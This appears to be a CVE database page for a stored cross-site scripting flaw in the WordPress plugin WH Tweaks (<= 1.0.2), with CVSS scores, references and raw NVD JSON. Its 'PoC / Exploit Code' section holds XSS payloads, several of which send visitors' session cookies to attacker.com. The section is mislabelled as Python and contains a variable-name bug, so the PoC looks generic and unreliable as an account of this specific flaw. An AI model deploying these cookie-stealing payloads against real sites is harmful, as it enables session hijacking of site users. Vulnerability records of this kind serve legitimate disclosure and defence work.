CVE-2025-67630

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webheadcoder WH Tweaks wh-tweaks allows Stored XSS.This issue affects WH Tweaks: from n/a through <= 1.0.2.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WH Tweaks <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-67630 PoC - Stored XSS in WH Tweaks Plugin -->
<!-- This PoC demonstrates the stored XSS vulnerability in WH Tweaks <= 1.0.2 -->
<!-- Requires high-privilege account (admin) to inject the payload -->

<!-- Step 1: Inject malicious JavaScript via plugin settings or input fields -->
<script>
  // Malicious payload - Steal session cookies
  var stolenCookies = document.cookie;
  
  // Send cookies to attacker-controlled server
  fetch('https://attacker.com/steal?cookies=' + encodeURIComponent(storedCookies), {
    method: 'GET',
    mode: 'no-cors'
  });
  
  // Alternative payload - Session hijacking
  console.log('Stolen cookies:', document.cookie);
</script>

<!-- Simple alert payload for testing -->
<img src=x onerror="alert('XSS in WH Tweaks - CVE-2025-67630')">

<!-- Event handler based payload -->
<body onload="alert('Stored XSS triggered')">

<!-- Stored XSS exploitation via plugin input field -->
<svg/onload=fetch('https://attacker.com/log?c='+document.cookie)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67630
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67630
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67630/
[4] VulDB https://vuldb.com/cve/CVE-2025-67630
[5] https://patchstack.com/database/Wordpress/Plugin/wh-tweaks/vulnerability/wordpress-wh-tweaks-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67630", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:19.190", "lastModified": "2026-04-27T18:16:47.450", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in webheadcoder WH Tweaks wh-tweaks allows Stored XSS.This issue affects WH Tweaks: from n/a through <= 1.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wh-tweaks/vulnerability/wordpress-wh-tweaks-plugin-1-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}